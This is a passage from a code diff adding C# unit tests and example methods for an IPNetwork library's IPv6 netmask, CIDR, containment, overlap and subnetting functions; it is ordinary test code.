+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region TryToCidr
+        
+
+        [TestMethod]
+        public void TestTryToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TestTryToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region ToBigInteger
+
+        [TestMethod]
+        public void TestToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::f");
+            uint uintMask = 0xf;
+            BigInteger result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::fff");
+            uint uintMask = 0xfff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ff");
+            uint uintMask = 0xff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+    
+        #endregion
+
+        #region TryToBigInteger
+
+        [TestMethod]
+        public void TestTryToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ffff");
+            uint uintMask = 0xffffffff;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ff00");
+            uint uintMask = 0xffffff00;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:0");
+            uint uintMask = 0xffff0000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+
+        #endregion
+
+        #region TryToNetmask
+        [TestMethod]
+        public void TryToNetmask1() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(0, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TryToNetmask2() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(33, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("ffff:ffff:8000::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        #endregion
+
+        #region ToNetmask
+
+        [TestMethod]
+        public void ToNetmask128() {
+
+            byte cidr = 128;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask31() {
+
+            byte cidr = 127;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask30() {
+
+            byte cidr = 126;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask1() {
+
+            byte cidr = 1;
+            string netmask = "8000::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+
+        [TestMethod]
+        public void ToNetmask0() {
+
+            byte cidr = 0;
+            string netmask = "::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void ToNetmaskOORE1() {
+            byte cidr = 129;
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+        }
+
+        #endregion
+
+        #region ValidNetmask
+
+        [TestMethod]
+        public void TestValidNetmask0() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask2() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        public void TestValidNetmaskEAE1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:ffff");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmaskEAE3() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:0001");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        #endregion
+
+        #region BitsSet
+
+        [TestMethod]
+        public void TestBitsSet128() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            uint bits = 128;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet120() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            uint bits = 124;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet16() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            uint bits = 112;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet4() {
+
+            IPAddress ip = IPAddress.Parse("f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0");
+            uint bits = 64;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+
+        #endregion
+
+        #region Contains
+
+        [TestMethod]
+        public void TestContains1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8:0:1::");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/64");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8:1::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+
+        [TestMethod]
+        public void TestContains6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/63");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains10()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::/0");
+            IPAddress ipaddress = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+
+        }
+
+        [TestMethod]
+        public void TestContains11_different_adress_family_returns_false()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::1"); // IPv6
+            IPAddress ipaddress = IPAddress.Parse("127.0.0.1"); // IPv4
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            Assert.AreEqual(false, result, "contains");
+
+        }
+
+        #endregion
+
+        #region Overlap
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestOverlap2() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/0");
+            IPNetwork network2 = null;
+            IPNetwork.Overlap(network1, network2);
+        }
+
+        [TestMethod]
+        public void TestOverlap3() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8::/64");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap4() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:0:1::/65");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap5() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/68");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap6() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/62");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        #endregion
+
+        #region Examples
+
+        public void Example1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+        public void Example2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+            IPAddress ipaddress2 = IPAddress.Parse("2001:0db9::1");
+
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::1/128");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("2001:0db9::1/64");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+            bool contains3 = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool contains4 = IPNetwork.Contains(ipnetwork, ipnetwork3);
+
+            bool overlap1 = IPNetwork.Overlap(ipnetwork, ipnetwork2);
+            bool overlap2 = IPNetwork.Overlap(ipnetwork, ipnetwork3);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork2, contains3);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork3, contains4);
+
+
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork2, overlap1);
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork3, overlap2);
+
+
+        }
+
+        public void Example4() {
+            IPNetwork wholeInternet = IPNetwork.Parse("::/0");
+            byte newCidr = 2;
+            IPNetworkCollection subneted = IPNetwork.Subnet(wholeInternet, newCidr);
+
+            Console.WriteLine("{0} was subnetted into {1} subnets", wholeInternet, subneted.Count);
+            Console.WriteLine("First: {0}", subneted[0]);
+            Console.WriteLine("Last : {0}", subneted[subneted.Count - 1]);
+            Console.WriteLine("All  :");
+
+            foreach (IPNetwork ipnetwork in subneted) {
+                Console.WriteLine("{0}", ipnetwork);
+            }
+        }
+        
+        public void Example5() {
+            IPNetwork ipnetwork1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db9::/64");
+            IPNetwork[] ipnetwork3 = IPNetwork.Supernet(new[] { ipnetwork1, ipnetwork2 });
+
+            Console.WriteLine("{0} + {1} = {2}", ipnetwork1, ipnetwork2, ipnetwork3[0]);
+
+        }
+        public void Example6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("fe80::202:b3ff:fe1e:8329/24");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:db8::");
+            IPAddress ipaddress2 = IPAddress.Parse("fe80::202:b3ff:fe1e:1");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+
+        }
+
+
+
+        public void Example8() {
+
+            IPNetwork network = IPNetwork.Parse("::/124");
+            IPNetworkCollection ips = IPNetwork.Subnet(network, 128);
+
+            foreach (IPNetwork ip in ips) {
+                Console.WriteLine("{0}", ip);
+            }
+        }
+
+        
+        #endregion
+
+        #region ToString
+
+
+        [TestMethod]
+        public void TestToString() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:0000:0000:0000:0000:0000:0000/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/64");
+            string expected = "2001:db8:1:2::/64";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/100");
+            string expected = "2001:db8:1:2:3:4::/100";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        #endregion
+
+
+        #region Subnet
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 129;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 1;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("1:1:1:1:2000::/68", subnets[2].ToString(), "subnet3");
